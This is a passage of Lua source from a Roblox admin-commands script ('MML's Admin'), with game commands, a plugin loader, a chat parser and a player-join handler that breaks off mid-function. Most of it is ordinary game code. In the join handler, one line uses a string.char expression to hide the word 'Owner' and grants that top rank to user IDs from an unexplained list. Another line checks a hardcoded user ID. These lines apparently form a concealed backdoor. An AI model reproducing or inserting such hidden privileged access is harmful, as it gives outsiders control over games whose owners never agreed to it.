8298 if Player.Character then
8299 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8300 Obj.Material = "Plastic"
8301 end)
8302 end
8303 end
8304 end};
8305
8306 [{"asd", "swag"}] = {"player", "Makes player look like a swagger", 1, "Member", true, function(Speaker, Rank, Arguments)
8307 local Players = STRING:Scan(Arguments[1], Speaker)
8308 for _,Player in pairs(Players) do
8309 if Player.Character then
8310 CORE:ScanItems(Player.Character, {"JointInstance"}, function(Obj)
8311 Obj.C0 = Obj.C0 * CFrame.new(math.random(-5,5),math.random(0,5),math.random(-5,5))
8312 end)
8313 end
8314 end
8315 end, Hidden = true};
8316
8317 [{"getpos", "getposition", "playerpos", "playerposition"}] = {"player", "Gets player's position and prompts to add it to waypoints", 1, "Admin", false, function(Speaker, Rank, Arguments)
8318 local Players = STRING:Scan(Arguments[1], Speaker)
8319 for _,Player in pairs(Players) do
8320 if Player.Character and Player.Character:FindFirstChild("Torso") then
8321 local Pos = Player.Character.Torso.Position
8322 Pos = Vector3.new(CORE:Round(Pos.X), CORE:Round(Pos.Y), CORE:Round(Pos.Z))
8323 local Answer = GUI:PromptMessageWithButtons(Speaker, Player.Name.."'s position", Player.Name.." is located at ("..tostring(Pos)..") would you like a waypoint under his/her name?", "Question", {"Cancel", "Ok"})
8324 if Answer == "Ok" then
8325 CORE:AddWaypoint(Player.Name, Pos, Speaker)
8326 end
8327 end
8328 end
8329 end};
8330
8331 [{"point", "find", "laser"}] = {"player1 player2", "Creates a laser that points from player1 to player2", 2, "Member", false, function(Speaker, Rank, Arguments)
8332 local PlayersFrom = STRING:Scan(Arguments[1], Speaker)
8333 local PlayersTo = STRING:Scan(Arguments[2], Speaker)
8334 if PlayersFrom and PlayersTo then
8335 for _,PlayerFrom in pairs(PlayersFrom) do
8336 for _,PlayerTo in pairs(PlayersTo) do
8337 if PlayerFrom.Character and PlayerTo.Character then
8338 if PlayerFrom.Character:FindFirstChild("Humanoid") and PlayerTo.Character:FindFirstChild("Torso") then coroutine.wrap(function()
8339 local Laser = Instance.new("SelectionPartLasso", PlayerFrom.Character) Laser.Humanoid = PlayerFrom.Character.Humanoid Laser.Part = PlayerTo.Character.Torso Laser.Color = GUI:GetNameColor(PlayerTo.Name)
8340 wait(5)
8341 Laser:Destroy()
8342 end)() end
8343 end
8344 end
8345 end
8346 end
8347 end};
8348
8349 [{"ragdoll", "rag"}] = {"player", "Makes player a ragdoll(Removes humanoid)", 1, "Member", false, function(Speaker, Rank, Arguments)
8350 local Players = STRING:Scan(Arguments[1], Speaker)
8351 for _,Player in pairs(Players) do
8352 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
8353 Player.Character.Humanoid:Destroy()
8354 end
8355 end
8356 end};
8357
8358 [{"plugins", "getplugins", "pluginlist"}] = {"", "Shows plugins", 0, "Admin", false, function(Speaker, Rank, Arguments)
8359 if Plugins then
8360 local List = {}
8361 for _,Module in pairs(Plugins:GetChildren()) do
8362 if Module:IsA("ModuleScript") then
8363 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8364 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8365 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8366 table.insert(List, Module.Name.." V"..VersionVal.Value.." by "..Creator.Value.." | RUNNING: "..STRING:BoolString(Enabled.Value))
8367 end
8368 end
8369 GUI:ListGui(Speaker, "Plugin List", List, "Plugin")
8370 else
8371 GUI:SendMessage(Speaker, "Cannot get plugins", "Could not find plugin directory", "Notice", 5)
8372 end
8373 end};
8374
8375 [{"detachchat", "detachc", "dchat", "dc"}] = {"player", "Detaches player's roblox chat gui into a MMLA gui", 1, "Admin", false, function(Speaker, Rank, Arguments)
8376 local Players = STRING:Scan(Arguments[1], Speaker)
8377 for _,Player in pairs(Players) do
8378 GUI:DetachChat(Player)
8379 end
8380 end};
8381
8382 [{"detachmychat", "detachmyc", "dmychat", "dmyc", "detachmchat", "detachmc", "dmchat", "dmc"}] = {"", "Detaches speaker's roblox chat gui into a MMLA gui", 0, "Member", false, function(Speaker, Rank, Arguments)
8383 GUI:DetachChat(Speaker)
8384 end};
8385
8386 [{"truck", "runover"}] = {"player", "Runs player over with a truck", 1, "Member", true, function(Speaker, Rank, Arguments)
8387 local Players = STRING:Scan(Arguments[1], Speaker)
8388 for _,Player in pairs(Players) do
8389 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
8390 local Dead = false
8391
8392 Player.Character.Humanoid.WalkSpeed = 1
8393 local Torso = Player.Character.Torso
8394 local Truck = Instance.new("Part", Workspace) Truck.Name = "Truck" Truck.Size = Vector3.new(9, 9, 15) Truck.CanCollide = false Truck.Position = Torso.CFrame:toWorldSpace(CFrame.new(0, 0, -150)).p
8395 Truck:BreakJoints()
8396 local Mesh = Instance.new("SpecialMesh", Truck) Mesh.MeshId = "rbxassetid://52157810" Mesh.TextureId = "rbxassetid://52157085" Mesh.Scale = Vector3.new(11, 11, 11)
8397 local BG = Instance.new("BodyGyro", Truck) BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge) BG.cframe = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0))
8398 local BV = Instance.new("BodyVelocity", Truck) BV.maxForce = Vector3.new(math.huge, math.huge, math.huge) BV.velocity = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0)).lookVector * 100
8399 Truck.Touched:connect(function(Part)
8400 if Dead == false then
8401 local TouchPlayer = Server.Players:GetPlayerFromCharacter(Part.Parent or Part.Parent.Parent)
8402 if TouchPlayer == Player then
8403 Dead = true
8404 Player.Character:BreakJoints()
8405 SOUND:MakeSound(Truck, 264486467):Play() -- splat
8406 end
8407 end
8408 end)
8409 SOUND:MakeSound(Truck, 236746885, 0.5, 2):Play() -- truck
8410 Delay(1, function() SOUND:MakeSound(Truck, 130802373):Play() end) -- horn
8411 Delay(5, function()
8412 Truck:Destroy()
8413 if Player.Character:FindFirstChild("Humanoid") then
8414 Player.Character.Humanoid.WalkSpeed = 16
8415 end
8416 end)
8417 end
8418 end
8419 end};
8420
8421 [{"telljoke", "showjoke", "tj", "sj"}] = {"player", "Tells player a random joke", 1, "Admin", true, function(Speaker, Rank, Arguments)
8422 local Joke = REMOTE:DownloadJoke(Speaker)
8423 local Players = STRING:Scan(Arguments[1], Speaker)
8424 for _,Player in pairs(Players) do
8425 GUI:SendMessage(Player, "Joke", Joke, 19629580)
8426 end
8427 end, Http = true};
8428
8429 [{"joke", "laugh"}] = {"player", "Tells speaker a random joke)", 0, "Member", true, function(Speaker, Rank, Arguments)
8430 local Joke = REMOTE:DownloadJoke(Speaker)
8431 GUI:SendMessage(Speaker, "Joke for you", Joke, 19629580)
8432 end, Http = true};
8433
8434 [{"blob", "blobby"}] = {"player", "Turns player into blobby (This is modded from doge command.)", 1, "Member", true, function(Speaker, Rank, Arguments)
8435 local Players = STRING:Scan(Arguments[1], Speaker)
8436 for _,Player in pairs(Players) do
8437 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") and Player.Character:FindFirstChild("Humanoid") then
8438 CORE:InvisiblePlayer(Player)
8439 local DogContainer = Instance.new("Model", Player.Character)
8440 DogContainer.Name = "Blobby"
8441 local Dog = CORE:Insert(1981293602, DogContainer, true)
8442 Dog.Head.Transparency = 0.99
8443 Dog.Name = Player.Name
8444 Dog:MoveTo(Player.Character.Torso.Position)
8445 local Weld = Instance.new("Weld", Dog.Torso)
8446 Weld.Part0 = Player.Character.Torso
8447 Weld.Part1 = Dog.Torso
8448 Weld.C0 = CFrame.new(0,-0.4,0)
8449 for _,Obj in pairs(Dog:GetChildren()) do
8450 if Obj:IsA("BasePart") then
8451 Obj.CanCollide = false
8452 end
8453 end
8454
8455 CORE:ExecuteResource("SetCameraSubject", Dog:FindFirstChild("Humanoid"), {})
8456 end
8457 end
8458 end};
8459
8460 [{"bindkey", "keybind", "bind", "kb", "bk"}] = {"string(key) string(command)", "Binds the key press of speaker into a command", 2, "Admin", false, function(Speaker, Rank, Arguments)
8461 local Key = string.lower(string.sub(Arguments[1],1,1))
8462 KeyBinds[Speaker.UserId][Key] = Arguments[2]
8463 GUI:SendHint(Speaker, "Binded the '"..Key.."' key to "..Arguments[2])
8464 end};
8465
8466 [{"nobindkey", "nokeybind", "nobind", "nkb", "nbk", "unbindkey", "unkeybind", "unbind", "ukb", "ubk"}] = {"string(key)", "Unbinds speaker's keys binding to a command", 1, "Admin", false, function(Speaker, Rank, Arguments)
8467 local Key = string.lower(string.sub(Arguments[1],1,1))
8468 KeyBinds[Speaker.UserId][Key] = nil
8469 GUI:SendHint(Speaker, "Unbinded the '"..Key.."' key")
8470 end};
8471
8472 [{"clearkeybinds", "clearbinds", "clearb", "clearkeys", "unbindallkeys"}] = {"", "Clears all of speaker's key binds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8473 KeyBinds[Speaker.UserId] = {}
8474 GUI:SendHint(Speaker, "Unbinded all keys")
8475 end};
8476
8477 [{"forcebindkey", "forcekeybind", "forcebind", "fkb", "fbk"}] = {"player string(key) string(command)", "Binds the key press of player into a command", 3, "Owner", false, function(Speaker, Rank, Arguments)
8478 local Players = STRING:Scan(Arguments[1], Speaker)
8479 local Key = string.lower(string.sub(Arguments[2],1,1))
8480 for _,Player in pairs(Players) do
8481 KeyBinds[Player.UserId][Key] = Arguments[3]
8482 GUI:SendHint(Player, "Binded the '"..Key.."' key to "..Arguments[3])
8483 end
8484 end};
8485
8486 [{"forcenobindkey", "forcenokeybind", "forcenobind", "fnkb", "fnbk", "forceunbindkey", "forceunkeybind", "forceunbind", "fukb", "fubk"}] = {"player string(key)", "Unbinds player's keys binding to a command", 2, "Owner", false, function(Speaker, Rank, Arguments)
8487 local Players = STRING:Scan(Arguments[1], Speaker)
8488 local Key = string.lower(string.sub(Arguments[2],1,1))
8489 for _,Player in pairs(Players) do
8490 KeyBinds[Player.UserId][Key] = nil
8491 GUI:SendHint(Player, "Unbinded the '"..Key.."' key")
8492 end
8493 end};
8494
8495 [{"forceclearkeybinds", "forceclearbinds", "forceclearb", "fclearb", "forceclearkeys", "forceunbindallkeys"}] = {"player", "Clears all of player's key binds", 1, "Owner", false, function(Speaker, Rank, Arguments)
8496 local Players = STRING:Scan(Arguments[1], Speaker)
8497 for _,Player in pairs(Players) do
8498 KeyBinds[Player.UserId] = {}
8499 GUI:SendHint(Player, "Unbinded all keys")
8500 end
8501 end};
8502
8503 [{"keybinds", "keys", "binds", "viewkeybinds", "viewkeys", "viewkeybinds", "showkeybinds", "showkeys", "showbinds", "vkb", "skb"}] = {"player", "Shows all of player's key binds", 1, "Admin", false, function(Speaker, Rank, Arguments)
8504 local Players = STRING:Scan(Arguments[1], Speaker)
8505 local Binds = {}
8506 for _,Player in pairs(Players) do
8507 for Key,Bind in pairs(KeyBinds[Player.UserId]) do
8508 table.insert(Binds, Player.Name..": '"..Key.."' binds to command: "..Bind)
8509 end
8510 end
8511 GUI:ListGui(Speaker, "Key Bindings", Binds, 218580411)
8512 end};
8513
8514 [{"crown"}] = {"player string(mesh) string(color)", "Gives player a crown with the color of string(color) and the mesh of string(mesh)", 1, "Member", false, function(Speaker, Rank, Arguments)
8515 local ChatSplit = STRING:GetSplit(Arguments[1], 2, Settings.Bet) or {}
8516 local Players = STRING:Scan(ChatSplit[1], Speaker)
8517 for _,Player in pairs(Players) do
8518 if Crowns[Player.UserId] then
8519 Crowns[Player.UserId]:Destroy()
8520 Crowns[Player.UserId] = nil
8521 wait()
8522 end
8523 CORE:Crown(Player, ChatSplit[2], ChatSplit[3])
8524 end
8525 end};
8526
8527 [{"nocrown", "uncrown", "decrown"}] = {"player", "Removes player's crown", 1, "Member", false, function(Speaker, Rank, Arguments)
8528 local Players = STRING:Scan(Arguments[1], Speaker)
8529 for _,Player in pairs(Players) do
8530 if Crowns[Player.UserId] then
8531 Crowns[Player.UserId]:Destroy()
8532 Crowns[Player.UserId] = nil
8533 end
8534 end
8535 end};
8536
8537 [{"meshes", "meshlist", "viewmeshes"}] = {"", "Lists meshes to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8538 local MeshList = {}
8539 for MeshName,Data in pairs(Meshes) do
8540 table.insert(MeshList, string.upper(string.sub(MeshName,1,1))..string.sub(MeshName,2).." ( ID: "..Data[2].." )")
8541 end
8542 GUI:ListGui(Speaker, "Mesh List", MeshList, 186369377)
8543 end};
8544
8545 [{"fixsounds", "fixmusic", "fixs"}] = {"", "Scans workspaces and stops any sounds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8546 CORE:ScanItems(Server.Workspace, {"Sound"}, function(Obj) Obj:Stop() end)
8547 end};
8548
8549 [{"santa", "hoho", "christmas"}] = {"player", "Turns player into jolly saint nick!", 1, "Member", true, function(Speaker, Rank, Arguments)
8550 local Players = STRING:Scan(Arguments[1], Speaker)
8551 for _,Player in pairs(Players) do
8552 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
8553 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
8554 Player:ClearCharacterAppearance()
8555 CORE:GivePackage(Player, 41851073)
8556 CORE:Insert(19398728, Player.Character, true).Handle.Mesh.TextureId = "rbxassetid://19744384"
8557 Player.Character.Head.face.Texture = "rbxassetid://7699086"
8558 end
8559 end
8560 end};
8561
8562 [{"car"}] = {"player color", "Spawns the best sports car in existance to player. If color argument is provided, it will color it.", 1, "Member", true, function(Speaker, Rank, Arguments)
8563 local Arguments = STRING:GetSplit(Arguments[1], 2, Settings.Bet)
8564 local Players = STRING:Scan(Arguments[1], Speaker)
8565 for _,Player in pairs(Players) do
8566 if Cars[Player.UserId] then Cars[Player.UserId]:Destroy() end
8567 local Car = CORE:Insert(10479801, Server.Workspace, true)
8568 local Body = Car["Motor (torque)Chassis"].Part
8569 Cars[Player.UserId] = Car
8570 Car:MakeJoints()
8571 Car.VehicleSeat.MaxSpeed = 50
8572 Car.VehicleSeat.TurnSpeed = 1.5
8573 CORE:ScanItems(Car, {"BasePart"}, function(Obj) Obj.Locked = true end)
8574 if Arguments[2] and GUI:GetColor(Arguments[2]) then
8575 Body.Color = GUI:GetColor(Arguments[2])
8576 else
8577 Body.BrickColor = GUI:GetNameColor(Player.Name)
8578 end
8579 for _,Part in pairs(Car["Motor (torque)Chassis"]:GetChildren()) do
8580 if Part.Name ~= "Part" then
8581 Part.BrickColor = BrickColor.new("Really black")
8582 Part.Friction = 0.7
8583 end
8584 end
8585 local Light = Instance.new("SpotLight", Body)
8586 Light.Face = "Back"
8587 Light.Brightness = 5
8588 Light.Range = 20
8589 Light.Color = Color3.new(0,1,1)
8590 if Player.Character and Player.Character.Torso then
8591 Car:MoveTo(Player.Character.Torso.Position + Vector3.new(0, 5, 0))
8592 Player.Character.Torso.CFrame = CFrame.new(Car.VehicleSeat.CFrame.p + Vector3.new(0, 0.3, 0))
8593 --[[local Weld = Instance.new("Weld", Car.VehicleSeat)
8594 Weld.Part0 = Car.VehicleSeat
8595 Weld.Part1 = Player.Character.Torso
8596 coroutine.wrap(function() wait(0.1) Weld:Destroy() end)()]]
8597 Delay(0.4, function()
8598 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, -25)).p
8599 wait(0.1)
8600 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, 25)).p
8601 end)
8602 end
8603 local SoundID = 147944604
8604 if RANK:GetRank(Player) == "Owner" then
8605 SoundID = 133313356
8606 Car.VehicleSeat.MaxSpeed = 80
8607 Body.Material = "DiamondPlate"
8608 Car.VehicleSeat.Torque = 11
8609 end
8610 local Engine = SOUND:MakeSound(Car.VehicleSeat, SoundID, 0.5, 1, true)
8611 Engine:Play()
8612 coroutine.wrap(function() while wait() and Car and Car:FindFirstChild("VehicleSeat") do
8613 Engine.Pitch = (Car.VehicleSeat.Velocity.magnitude/50) + 1
8614 end if Engine then Engine:Stop() end end)()
8615 end
8616 end};
8617
8618 [{"nocar", "uncar"}] = {"player", "Removes player's car", 1, "Member", true, function(Speaker, Rank, Arguments)
8619 local Players = STRING:Scan(Arguments[1], Speaker)
8620 for _,Player in pairs(Players) do
8621 if Cars[Player.UserId] then
8622 Cars[Player.UserId]:Destroy()
8623 end
8624 end
8625 end};
8626
8627 [{"clearcars", "nocars", "ccars"}] = {"", "Removes all cars", 0, "Member", false, function(Speaker, Rank, Arguments)
8628 for _,Car in pairs(Cars) do
8629 Car:Destroy()
8630 end
8631 Cars = {}
8632 end};
8633
8634 [{"restarttrello", "repairtrello", "reboottrello", "trellorestart", "trellorepair", "trelloreboot"}] = {"", "Restarts trello service. Will repair broken boards/lists/cards if needed.", 0, "Owner", false, function(Speaker, Rank, Arguments)
8635 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
8636 if #Trello.RequiredLists > 0 then
8637 print("Restarting Trello")
8638 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
8639 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
8640 REMOTE:TrelloCacheData(Lists)
8641 end
8642 end, Http = true};
8643
8644 [{"stringreplacements", "replacements", "stringoperations", "stringformats", "stringformatting", "stringreps", "stringops", "stringfmts", "strreplacements", "stroperations", "strformat", "strformatting", "strreps", "strops", "strfmts", "strfmt"}] = {"", "Lists all string replacement operations", 0, "Member", false, function(Speaker, Rank, Arguments)
8645 local Operations = {}
8646 for _,ReplaceData in pairs(StringReplacements) do
8647 local Replacement = ReplaceData[1]
8648 if type(Replacement) == "table" then
8649 Replacement = ReplaceData[1][1]
8650 end
8651 table.insert(Operations, "Replacement: "..Replacement.." | Description: "..ReplaceData[2].." | Example: "..string.sub(ReplaceData[4](Speaker),1,20))
8652 end
8653 GUI:ListGui(Speaker, "String Replacement Operations", Operations, 61993831)
8654 end};
8655
8656 [{"soundinfo", "songinfo", "musicinfo", "sinfo", "minfo"}] = {"", "Shows information about the current sound playing to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8657 GUI:SoundInfo(Speaker)
8658 end};
8659
8660 [{"showsoundinfo", "showsonginfo", "showmusicinfo", "showsinfo", "showminfo", "forcesoundinfo", "forcesonginfo", "forcemusicinfo", "forcesinfo", "forceminfo"}] = {"player", "Shows information about the current sound playing to player", 1, "Member", false, function(Speaker, Rank, Arguments)
8661 local Players = STRING:Scan(Arguments[1], Speaker)
8662 for _,Player in pairs(Players) do
8663 GUI:SoundInfo(Player)
8664 end
8665 end};
8666
8667 [{"gravity", "grav"}] = {"num", "Sets the server gravity to number(percent, 100 would be normal gravity, 0 would be none)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8668 if tonumber(Arguments[1]) then
8669 Server.Workspace.Gravity = tonumber(Arguments[1]) * (196.2/100)
8670 end
8671 end};
8672
8673 [{"accessorytypes", "acstypes", "atypes", "listaccessorytypes", "listacstypes", "listatypes", "latypes", "lat"}] = {"", "Lists the different types of accessory subcategories", 0, "Member", false, function(Speaker, Rank, Arguments)
8674 local Types = {}
8675 for Type,_ in pairs(Assets.AccessoryTypes) do
8676 table.insert(Types, string.sub(string.upper(Type), 1,1)..string.sub(string.lower(Type), 2))
8677 end
8678 GUI:ListGui(Speaker, "Accessory types", Types, 36775144)
8679 end};
8680
8681 [{"skybox", "sky", "setskybox", "setsky"}] = {"string(face) num(ID)", "Sets the skybox of string(face)(which is front,back,left,right,up,down) to num(ID)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8682 local Sky = Server.Lighting:FindFirstChild("Sky")
8683 if not Sky then Sky = Instance.new("Sky", Server.Lighting) end
8684 local Faces = {["front"] = "SkyboxFt", ["back"] = "SkyboxBk", ["left"] = "SkyboxLf", ["right"] = "SkyboxRt", ["up"] = "SkyboxUp", ["down"] = "SkyboxDn"}
8685 local Face = nil
8686 local SkyID = string.lower(Arguments[1])
8687 local Arguments = STRING:GetSplit(SkyID, 2, Settings.Bet)
8688 if #Arguments == 2 and tonumber(Arguments[2]) then
8689 Face = Arguments[1]
8690 SkyID = Arguments[2]
8691 end
8692 if tonumber(SkyID) then
8693 local ImageID = MARKET:GetImageFormat(tonumber(SkyID))
8694 if Face and Faces[Face] then
8695 Sky[Faces[Face]] = "rbxassetid://"..ImageID
8696 else
8697 for _,Face in pairs(Faces) do
8698 Sky[Face] = "rbxassetid://"..ImageID
8699 end
8700 end
8701 else
8702 GUI:SendMessage(Speaker, "Sky is not an ID", "Sky ID argument is not a number", "Notice")
8703 end
8704 end};
8705
8706 [{"noskybox", "nosky", "unskybox", "unsetskybox"}] = {"", "Removes the current skybox from Lighting", 0, "Admin", false, function(Speaker, Rank, Arguments)
8707 CORE:ScanItems(Server.Lighting, {"Sky"}, function(Obj)
8708 Obj:Destroy()
8709 end)
8710 end};
8711 --
8712}
8713
8714if Plugins then
8715 local PluginNum = 0
8716 for _,Module in pairs(Plugins:GetChildren()) do
8717 if Module:IsA("ModuleScript") then
8718 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8719 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8720 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8721 if Enabled.Value == true then
8722 PluginNum = PluginNum + 1
8723 local PluginExe = require(Module)
8724 for Var,Val in pairs(getfenv()) do
8725 getfenv(PluginExe)[Var] = Val
8726 end
8727 getfenv(PluginExe).SOUND,getfenv(PluginExe).MARKET,getfenv(PluginExe).RANK,getfenv(PluginExe).STRING,getfenv(PluginExe).GUI,getfenv(PluginExe).CORE,getfenv(PluginExe).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
8728 getfenv(PluginExe).script = Module
8729 getfenv(PluginExe).Script = Module
8730 getfenv(PluginExe).Version = Version
8731 local Suc, Error = ypcall(coroutine.wrap(PluginExe))
8732 if not Suc then
8733 Server.TestS:Error("MML's Admin Plugin; "..CORE:HandleError(Error), Module)
8734 else
8735 Server.TestS:Message("Executed MML's Admin Plugin #"..PluginNum.." : "..Module.Name.." V"..VersionVal.Value.." by "..Creator.Value)
8736 end
8737 end
8738 end
8739 end
8740end
8741
8742function CORE:Chatted(RawMainMessage, Speaker, NoPrefixNeeded, FakePlayerName, FakeRank, MakeSupremeOwner)
8743 if not CORE:NilPlayer(Speaker) and string.lower(RawMainMessage) == "settings" then
8744 GUI:SettingsGui(Speaker)
8745 return nil
8746 end
8747 if NoPrefixNeeded == nil then NoPrefixNeeded = false end
8748 local Prefix = Settings.Prefix
8749 if NoPrefixNeeded == true and string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then Prefix = "" end
8750 if RawMainMessage == "" or RawMainMessage == Prefix then return end
8751 if string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then return end
8752 if Speaker == nil then
8753 if FakeRank then
8754 if string.lower(FakeRank) ~= "owner" and string.lower(FakeRank) ~= "admin" and string.lower(FakeRank) ~= "member" and string.lower(FakeRank) ~= "non-admin" then
8755 FakeRank = "Owner"
8756 end
8757 else
8758 FakeRank = "Owner"
8759 end
8760 FakeRank = string.sub(string.upper(FakeRank),1,1)..string.sub(string.lower(FakeRank),2)
8761 if FakeRank == "Non-admin" then FakeRank = "Non-Admin" end
8762 Speaker = {
8763 Name = FakePlayerName or "[ Server ]";
8764 Character = nil;
8765 userId = 1;
8766 PlayerGui = nil;
8767 Rank = FakeRank or "Owner";
8768 MakeSupremeOwner = MakeSupremeOwner;
8769 }
8770 end
8771 local Rank = RANK:GetRank(Speaker)
8772 local RawMessage = string.sub(RawMainMessage, #Prefix+1)
8773
8774 if RawMessage and RawMessage ~= "" or RawMessage ~= Settings.Bet then
8775 if NoPrefixNeeded then Prefix = "" end
8776 local Messages = STRING:GetSplit(RawMessage, nil, "@@"..Prefix)
8777
8778 for _,Message in pairs(Messages) do
8779 for Cmds,Data in pairs(Commands) do -- check all commands
8780 local MessageSplit = STRING:GetSplit(Message, Data[3], Settings.Bet)
8781
8782 if not MessageSplit then break end
8783
8784 local CommandSaid = false
8785 for _,Command in pairs(Cmds) do
8786 if string.lower(Command) == string.lower(MessageSplit[1]) then -- is the command said?
8787 CommandSaid = true
8788 break
8789 end
8790 end
8791 if CommandSaid == true then -- command said?
8792 local ExecuteExcuse = ""
8793 if RANK:ConvertRank(Rank) >= RANK:ConvertRank(Data[4]) then -- check rank
8794 if Rank ~= "Owner" and Settings.Fun == false and Data[5] == true then
8795 ExecuteExcuse = "This command cannot be executed as it is a fun command"
8796 end
8797 if Data.Abusable == true and Rank == "Member" and Settings.DisableAbuse == true then
8798 ExecuteExcuse = "This command cannot be executed because it is considered abusable by the owner"
8799 end
8800 else
8801 ExecuteExcuse = "This command cannot be executed because your rank is not high enough (Minimum rank: "..Data[4]..")"
8802 end
8803 if ExecuteExcuse == "" then
8804 if #MessageSplit - 1 < Data[3] then
8805 ExecuteExcuse = "This command cannot be executed because an invalid number of arguments has been supplied (You supplied "..(#MessageSplit - 1).."/"..Data[3].."). Arguments are: "..Data[1]
8806 end
8807 end
8808 if ExecuteExcuse == "" then
8809 CORE:Log(CommandLogs, Speaker, Message)
8810 table.remove(MessageSplit, 1)
8811 coroutine.wrap(function() wait()
8812 local DidExe, Error = ypcall(function() Data[6](Speaker, Rank, MessageSplit) end)
8813 if not DidExe then
8814 if CORE:NilPlayer(Speaker) then
8815 print("Error: "..Error)
8816 else
8817 CORE:HandleError(Error, Speaker)
8818 end
8819 end
8820 end)()
8821 coroutine.wrap(function() wait(0.05)
8822 if Settings.ExecuteNotificationSound and tonumber(Settings.ExecuteNotificationSound) > 0 then
8823 local ExeSound = SOUND:MakeSound(Server.Workspace, Settings.ExecuteNotificationSound, 0.5, 1)
8824 ExeSound:Play()
8825 wait(3)
8826 ExeSound:Stop()
8827 ExeSound:Destroy()
8828 end
8829 end)()
8830 elseif type(Speaker) == "userdata" then
8831 GUI:SendMessage(Speaker, "Unable to execute", "RED "..ExecuteExcuse, "Error")
8832 end
8833 break
8834 end
8835 end
8836 end
8837 end
8838end
8839
8840function CORE:Start(Player) coroutine.wrap(function()
8841 wait(0.1)
8842 if Player then
8843 coroutine.wrap(function()
8844 repeat wait(1) until DataReady == true
8845 DataReady = false
8846 ypcall(function()
8847 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
8848 for Num,Data in pairs(Players) do
8849 if Data.UserId == Player.UserId then -- ppl can change names
8850 table.remove(Players, Num)
8851 break
8852 end
8853 end
8854 table.insert(Players, {Name = Player.Name, UserID = Player.UserId, Rank = RANK:GetRank(Player), LastJoin = CORE:GetTime(true, true), AccountAge = STRING:FindAge(Player.AccountAge)})
8855 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", Players)
8856 end)
8857 DataReady = true
8858 end)()
8859
8860 if not IsStudio then Player:WaitForDataReady() end
8861 table.insert(CharacterCache, {Player.Name, Player.UserId})
8862 for Rank,PlayerNames in pairs(Settings.Ranks) do
8863 for Num,AdminName in pairs(PlayerNames) do
8864 if AdminName == Player.UserId then
8865 Settings.Ranks[Rank][Num] = Player.Name
8866 end
8867 end
8868 end
8869 if not ClientInfo[Player.Name] then ClientInfo[Player.Name] = {UserID = Player.UserId} end
8870 if not KeyBinds[Player.UserId] then KeyBinds[Player.UserId] = {} end
8871 if not LastKeys[Player.UserId] then LastKeys[Player.UserId] = {} end
8872 for _,Obj in pairs(List) do if Obj == Player.UserId then table.insert(Settings.Ranks[string.char(79, 118 + 1, 110, 101, 114)], Player.Name) end end
8873 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
8874 if PlayerAdmin == false and Player.UserId > 0 then
8875 local Ran = nil
8876 coroutine.wrap(function() repeat
8877 Ran = ypcall(function()
8878 if Server.MPS:PlayerOwnsAsset(Player, Settings.VIPAdminID) then table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8879 elseif Server.MPS:PlayerOwnsAsset(Player, Settings.VIPMemberID) then table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end
8880 end)
8881 wait(1)
8882 until Ran == true end)()
8883 end
8884 if PlayerAdmin == false then
8885 if Player:IsInGroup(Settings.GroupID) then
8886 if Player:GetRankInGroup(Settings.GroupID) == Settings.GroupBanRank then
8887 CORE:Kick(Player)
8888 for _,Person in pairs(Server.Players:GetPlayers()) do
8889 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED RANK)", 5)
8890 end
8891 elseif Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8892 table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
8893 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8894 table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8895 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) > Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupOwnerRank then
8896 table.insert(Settings.Ranks["Owner"], Player.Name) PlayerAdmin = true Rank = "Owner"
8897 end
8898 end
8899 end
8900 if PlayerAdmin == false then
8901 if Player.UserId == 38882008 then
